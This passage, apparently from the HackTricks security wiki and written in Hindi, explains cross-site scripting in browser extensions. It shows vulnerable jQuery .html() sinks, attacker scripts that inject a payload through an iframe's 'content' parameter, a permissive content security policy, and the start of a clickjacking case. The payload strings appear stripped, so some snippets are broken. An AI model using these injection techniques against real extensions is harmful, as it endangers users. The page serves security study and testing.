# BrowExt - XSS उदाहरण
{{#include ../../banners/hacktricks-training.md}}
## Iframe के माध्यम से क्रॉस-साइट स्क्रिप्टिंग (XSS)
इस सेटअप में, एक **सामग्री स्क्रिप्ट** को Iframe को स्थापित करने के लिए लागू किया गया है, जिसमें Iframe के स्रोत के रूप में क्वेरी पैरामीटर के साथ एक URL शामिल है:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, **`message.html`**, को URL में पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} `
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
एक दुर्भावनापूर्ण स्क्रिप्ट एक प्रतिकूल के पृष्ठ पर निष्पादित होती है, जो Iframe के स्रोत के `content` पैरामीटर को संशोधित करती है ताकि एक **XSS पेलोड** पेश किया जा सके। यह Iframe के स्रोत को एक हानिकारक स्क्रिप्ट शामिल करने के लिए अपडेट करके प्राप्त किया जाता है:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = ""
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
एक अत्यधिक अनुमति देने वाली सामग्री सुरक्षा नीति जैसे:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
JavaScript के निष्पादन की अनुमति देता है, जिससे सिस्टम XSS हमलों के प्रति संवेदनशील हो जाता है।
XSS को उत्तेजित करने के लिए एक वैकल्पिक दृष्टिकोण Iframe तत्व बनाना और इसके स्रोत को हानिकारक स्क्रिप्ट को `content` पैरामीटर के रूप में शामिल करना है:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("
")
document.body.append(newFrame)
```
## DOM-आधारित XSS + ClickJacking
यह उदाहरण [मूल पोस्ट लेख](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) से लिया गया था।
मुख्य समस्या **`/html/bookmarks.html`** में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाला JavaScript, जो **`bookmarks.js`** का हिस्सा है, नीचे विस्तृत किया गया है:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('